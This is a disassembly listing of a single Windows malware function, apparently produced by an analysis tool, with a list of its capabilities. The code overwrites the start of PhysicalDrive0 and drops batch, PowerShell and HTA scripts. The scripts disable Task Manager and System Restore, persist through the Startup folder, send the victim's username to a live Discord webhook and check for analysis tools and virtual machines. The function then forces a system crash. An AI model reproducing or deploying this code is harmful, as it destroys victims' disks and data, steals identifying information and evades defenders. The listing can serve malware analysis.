Function at 0x4010e0
Capabilities:
Create process on windows
Create thread
Download and write a file
Download url
Persist via run registry key
Query environment variable
Receive and write data from server to client
Receive data
Schedule task via schtasks
Set current directory
Set registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
mov eax, dword [0x417004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4012f3
push 0
lea eax, [ebp - 0x830]
push eax
push 0x8000
push 0x4178b0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4012f3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [ebp - 0x414]
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x415188
push str.sodomi.bat
call fcn.004047a4
push 0x415188
push str.loping.ps1
mov dword [ebp - 0x82c], eax
call fcn.004047a4
push 0x415188
push str.risitas.hta
mov ebx, eax
call fcn.004047a4
push 0x415188
push str.melter.exe
mov edi, eax
call fcn.004047a4
push dword [ebp - 0x82c]
mov esi, eax
push 0x205f
push 1
push str._echo_off_r_ntitle_WinServicePackages_r_ncd__systemdrive_Users_USERNAME_AppDataLocalTemp_r_ntakeown__f__systemdrive_.__nul_r_nIcacls__systemdrive_.__C__G__username_:F__nul_r_nREG_ADD__HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer___v_DisableTaskMgr__t_REG_DWORD__d_1__f__nul_r_nreg_add__HKLMSoftwareMicrosoftWindows_NTCurrentVersionSystemRestore___v_DisableSR__t_REG_DWORD__d_1__f__nul_r_ncls_r_n_r_nset__a_twitch_random__r_nset__a_nouveau_random__r_nset__a_lol_random__r_nset__a_pute_random__r_nset__a_prenom_random__r_nset__a_disque_random__r_nset__a_led_random__r_nset__a_fdc_random__r_nset__a_fdcbat_random__r_nset__a_salope_random__r_n_r_ncd___appdata_MicrosoftWindowsStart_MenuProgramsStartup__r_n_echo_off_mssec.bat_r_n_echo_copy__y__f0___appdata_MicrosoftWindowsStart_MenuProgramsStartupmssec.bat___mssec.bat_r_n_echo_shutdown__r__mssec.bat_r_ncopy__y_mssec.bat___appdata_MicrosoftWindowsStart_MenuProgramsStartupmssec.bat__r_n_r_ncd__systemdrive_Users_USERNAME_AppDataLocalTemp_r_n_r_n_echo.___salope_.vbs_r_n_echo_Dim_objXmlHttpMain___URL__salope_.vbs_r_n_echo.____salope_.vbs_r_n_echo_strJSONToSend_____content__:___Nouvelle_victime_de_Kick_Booster___nNom_de_lutilisateur:__username_______salope_.vbs_r_n_echo.____salope_.vbs_r_n_echo_URL_https:__discord.com_api_webhooks_1176290256706875483_YoKzrUQXTzx10Wx65P5ahfox71ATe87uV3S9BqzGN9zwxbESRvuc3XH_HflVFfNCc_Qq____salope_.vbs__r_n_echo_Set_objXmlHttpMain__CreateObject__Msxml2.ServerXMLHTTP_____salope_.vbs__r_n_echo_on_error_resume_next___salope_.vbs__r_n_echo_objXmlHttpMain.open__POST__URL__False___salope_.vbs__r_n_echo_objXmlHttpMain.setRequestHeader__Authorization____Bearer__api_secret_id_____salope_.vbs_r_n_echo_objXmlHttpMain.setRequestHeader__Content_Type____application_json____salope_.vbs_r_n_echo.____salope_.vbs_r_n_echo_objXmlHttpMain.send_strJSONToSend___salope_.vbs_r_n_echo.____salope_.vbs_r_n_echo_set_objJSONDoc__nothing___salope_.vbs__r_n_echo_set_objResult__nothing___salope_.vbs_r_n_r_nset_filelachancla.mp3_r_n__echo_Set_Sound__CreateObject__WMPlayer.OCX.7___r_n__echo_Sound.URL___https:__twitchpatcheur.fr_cdn_upload_dl_issou.mp3__r_n__echo_Sound.Controls.play_r_n__echo_do_while_Sound.currentmedia.duration__0_r_n__echo_wscript.sleep_100_r_n__echo_loop_r_n__echo_wscript.sleep__int_Sound.currentmedia.duration_1_1000____nouveau_.vbs_r_n_r_n_echo_WScript.Sleep_80000__twitch_.vbs_r_n_echo_do___twitch_.vbs_r_n_echo_Dim_wsh___twitch_.vbs_r_n_echo_Set_wshWScript.CreateObject__WScript.Shell_____twitch_.vbs_r_n_echo_wsh.Run__http:__0xad.net_cactus_____twitch_.vbs_r_n_echo_WScript.Sleep_1000___twitch_.vbs_r_n_echo_loop___twitch_.vbs_r_n_r_n_echo_Set_oWMP__CreateObject__WMPlayer.OCX.7_____disque_.vbs_r_n_echo_Set_colCDROMs__oWMP.cdromCollection___disque_.vbs_r_n_echo_if_colCDROMs.Count___1_then___disque_.vbs_r_n_echo_do___disque_.vbs_r_n_echo_For_i__0_to_colCDROMs.Count___1___disque_.vbs_r_n_echo_colCDROMs.Item_i_.Eject___disque_.vbs_r_n_echo_Next__cdrom___disque_.vbs_r_n_echo_For_i__0_to_colCDROMs.Count___1___disque_.vbs_r_n_echo_colCDROMs.Item_i_.Eject___disque_.vbs_r_n_echo_Next__cdrom___disque_.vbs_r_n_echo_loop___disque_.vbs_r_n_echo_End_If___disque_.vbs_r_n_r_n_echo_set_w__CreateObject__WScript.Shell____fdc_.vbs_r_n_echo_W.Run_chr_34___WScript.Arguments_0___chr_34___0___fdc_.vbs_r_n_echo_set_w_Nothing___fdc_.vbs_r_n_r_n_echo_start_risitas.hta__fdcbat_.bat_r_n_echo_:corde___fdcbat_.bat_r_n_echo_reg_add__HKCUcontrol_paneldesktop___v_wallpaper__t_REG_SZ__d_____f__nul___fdcbat_.bat_r_n_echo_reg_add__HKCUcontrol_paneldesktop___v_wallpaper__t_REG_SZ__d___systemdrive_Users_USERNAME_AppDataLocalTemp1478471702_risitas.jpg___f__nul___fdcbat_.bat_r_n_echo_reg_delete__HKCUSoftwareMicrosoftInternet_ExplorerDesktopGeneral___v_WallpaperStyle__f__nul___fdcbat_.bat_r_n_echo_reg_add__HKCUcontrol_paneldesktop___v_WallpaperStyle__t_REG_SZ__d_2__f__nul___fdcbat_.bat_r_n_echo_RUNDLL32.EXE_user32.dll_UpdatePerUserSystemPar
call fcn.004046b4
push ebx
push 0xb839
push 1
push str._Single_Instance__no_overloads__r_nfunction_Compare_Mutex__r_n_____AppId___16fcb8bb_e281_472d_a9f6_39f0f32f19f2___This_GUID_string_is_changeable_r_n_____CreatedNew___false_r_n_____script:SingleInstanceEvent__New_Object_Threading.EventWaitHandle__true____Threading.EventResetMode_::ManualReset____Global_AppID_____ref___CreatedNew__r_n____if___not__CreatedNew____r_n________throw__An_instance_of_this_script_is_already_running.__r_n_____else__r_n________Invoke_ANTITOTAL_r_n_____r_n_r_n_r_nAdd_Type__AssemblyName_PresentationCore_PresentationFramework_r_n_r_n_webhook___https:__discord.com_api_webhooks_1176290256706875483_YoKzrUQXTzx10Wx65P5ahfox71ATe87uV3S9BqzGN9zwxbESRvuc3XH_HflVFfNCc_Qq__r_n_debug_mode___false_r_n_udc_mode___true_r_n_r_nif_____debug_mode____r_n_____ErrorActionPreference__SilentlyContinue_r_n_____ProgressPreference__SilentlyContinue_r_n_r_n_r_nfunction_Invoke_Admin_Check__r_n_____test____Security.Principal.WindowsPrincipal___Security.Principal.WindowsIdentity_::GetCurrent___.IsInRole__Security.Principal.WindowsBuiltinRole_::Administrator__r_n____return__test_r_n_r_n_r_nfunction_Hide_Console_r_n_r_n____if___not___Console.Window___as__type______r_n________Add_Type__Name_Window__Namespace_Console__MemberDefinition__r_n_________DllImport__Kernel32.dll____r_n________public_static_extern_IntPtr_GetConsoleWindow____r_n_________DllImport__user32.dll____r_n________public_static_extern_bool_ShowWindow_IntPtr_hWnd__Int32_nCmdShow___r_n_________r_n_____r_n_____consolePtr___Console.Window_::GetConsoleWindow___r_n_____null___Console.Window_::ShowWindow__consolePtr__0__r_n_r_n_r_nfunction_make_error_page__r_n____param__r_n_________Parameter_Mandatory_true___r_n_________string__error_message_r_n______r_n_____null___System.Windows.MessageBox_::Show___error_message___ERROR__0_16__r_n_r_n_r_nfunction_Search_Mac___mac_addresses___r_n_____pc_mac___Get_WmiObject_win32_networkadapterconfiguration__ComputerName__env:COMPUTERNAME__Where_Object__.IpEnabled__Match__True___Select_Object__Expand_macaddress___join_____r_n____ForEach___mac123_in__mac_addresses___r_n________if___pc_mac__contains__mac123___r_n____________return__true_r_n_________r_n_____r_n____return__false_r_n_r_n_r_nfunction_Search_IP___ip_addresses___r_n_____pc_ip__Invoke_WebRequest__Uri__https:__api.ipify.org___UseBasicParsing_r_n_____pc_ip___pc_ip.Content_r_n____ForEach___ip123_in__ip_addresses___r_n________if___pc_ip__contains__ip123___r_n____________return__true_r_n_________r_n_____r_n____return__false_r_n_r_n_r_nfunction_Search_HWID___hwids___r_n_____pc_hwid__Get_WmiObject__Class_Win32_ComputerSystemProduct__Select_Object__ExpandProperty_UUID_r_n____ForEach___hwid123_in__hwids___r_n________if___pc_hwid__contains__hwid123___r_n____________return__true_r_n_________r_n_____r_n____return__false_r_n_r_n_r_nfunction_Search_Username___usernames___r_n_____pc_username___env:USERNAME_r_n____ForEach___username123_in__usernames___r_n________if___pc_username__contains__username123___r_n____________return__true_r_n_________r_n_____r_n____return__false_r_n_r_n_r_nfunction_ram_check__r_n_____ram__Get_WmiObject__Class_Win32_PhysicalMemory__Measure_Object__Property_capacity__Sum__ForEach_Object__Math_::Round____.Sum___1GB__2__r_n____if___ram__lt_6___r_n________make_error_page__RAM_CHECK_FAILED__r_n________Start_Sleep__s_3_r_n________exit_r_n_____r_n_r_n_r_nfunction_Invoke_ANTIVM__r_n_tram_check_r_n_____processnames____r_n_____________autoruns___r_n_____________autorunsc___r_n_____________dumpcap___r_n_____________fiddler___r_n_____________fakenet___r_n_____________hookexplorer___r_n_____________immunitydebugger___r_n_____________httpdebugger___r_n_____________importrec___r_n_____________lordpe___r_n_____________petools___r_n_____________processhacker___r_n_____________resourcehacker___r_n_____________scylla_x64___r_n_____________sandman___r_n_____________sysinspector___r_n_____________tcpview___r_n_____________die___r_n_____________dumpcap___r_n_____________filemon___r_n_____________idaq___r_n
call fcn.004046b4
add esp, 0x40
push edi
push 0x20f
push 1
push str._HTA:APPLICATION_ID_hello__r_nAPPLICATIONNAME_hello__r_nBORDER_none__r_nBORDERSTYLE_normal__r_nCAPTION_no__r_nCONTEXTMENU_no__r_nINNERBORDER_no__r_nMAXIMIZEBUTTON_no__r_nMINIMIZEBUTTON_no__r_nNAVIGABLE_no__r_nSCROLL_no__r_nSCROLLFLAT_no__r_nSELECTION_yes__r_nSHOWINTASKBAR_no__r_nSINGLEINSTANCE_yes__r_nSYSMENU_no__r_nVERSION_1.0__r_nWINDOWSTATE_maximize_____r_n_html__r_n_head__r_n_style__r_nbody__html__margin:0__border:0__r_n__style__r_n__head__r_n_body_bgColor_black___r_n_img_src_1478471702_risitas.jpg__height_100___width_100_____r_n__body__r_n__html_
call fcn.004046b4
push esi
push 0xc00
push 1
push 0x42b0f0
call fcn.004046b4
push dword [ebp - 0x82c]
call fcn.004043bc
push ebx
call fcn.004043bc
push edi
call fcn.004043bc
push esi
call fcn.004043bc
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
add esp, 0x30
push 0
push 0
push 0
push str.sodomi.bat
push str.open
push 0
call esi
push 0
push 0
push str..loping.ps1
push str.powershell
push str.open
push 0
call esi
push 0
push 0
push 0
push section..text
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push str.1478471702_risitas.jpg
push str.https:__jvflux.fr_images_4_4d_fichiers_2016_44_1478471702_risitas.jpg
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
push 0x5b4f0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.ntdll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.RtlAdjustPrivilege
push edi
call esi
push str.NtRaiseHardError
push edi
mov ebx, eax
call esi
mov esi, eax
test ebx, ebx
je 0x4012de
test esi, esi
je 0x4012de
lea eax, [ebp - 0x825]
push eax
push 0
push 1
push 0x13
call ebx
lea eax, [ebp - 0x82c]
push eax
push 6
push 0
push 0
push 0
push 0xc0000022
call esi
add esp, 0x28
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040132a
mov esp, ebp
pop ebp
ret 0x10
push 0x410
lea eax, [ebp - 0x824]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
push 0
lea eax, [ebp - 0x824]
push eax
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]